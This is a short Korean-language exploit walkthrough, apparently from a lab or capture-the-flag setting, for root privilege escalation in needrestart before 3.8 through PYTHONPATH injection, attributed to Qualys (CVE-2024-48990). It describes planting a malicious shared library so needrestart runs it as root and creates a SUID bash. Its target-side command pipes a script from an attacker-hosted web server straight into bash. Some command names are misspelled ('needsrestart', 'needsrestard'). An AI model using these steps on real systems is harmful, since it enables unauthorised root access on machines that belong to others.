
needsrestart setuid root shell에 대한 완전한 익스플로잇
needrestart < 3.8 버전에서 PYTHONPATH 인젝션을 통한 로컬 권한 상승
/proc/[pid]/environ에서 PYTHONPATH=/tmp/.m을 읽습니다.PYTHONPATH를 사용하여 Python을 root로 실행합니다./tmp/.m/importlib/__init__.so (우리의 악성 라이브러리)를 로드합니다./tmp/rootbash에 SUID bash를 생성합니다./tmp/rootbash -p를 실행하여 root 셸을 획득합니다.핵심: needrestart는 권한 없는 프로세스의 환경 변수를 신뢰하여 인터프리터를 root로 실행할 때 사용합니다.
공격자:
./compile.sh
python3 -m http.server 8000
대상:
curl -sf http://10.10.14.109:8000/setup_exploit.sh | bash -s 10.10.14.109 8000
cd /tmp/.m && PYTHONPATH=/tmp/.m python3 e.py
e.py 프로세스는 다음 명령을 두 번째 터미널에서 실행하면 멈추고 root 셸을 생성합니다:
sudo needsrestard
첫 번째 터미널에서 root 셸이 시작됩니다.
Qualys Threat Research Unit - CVE-2024-48990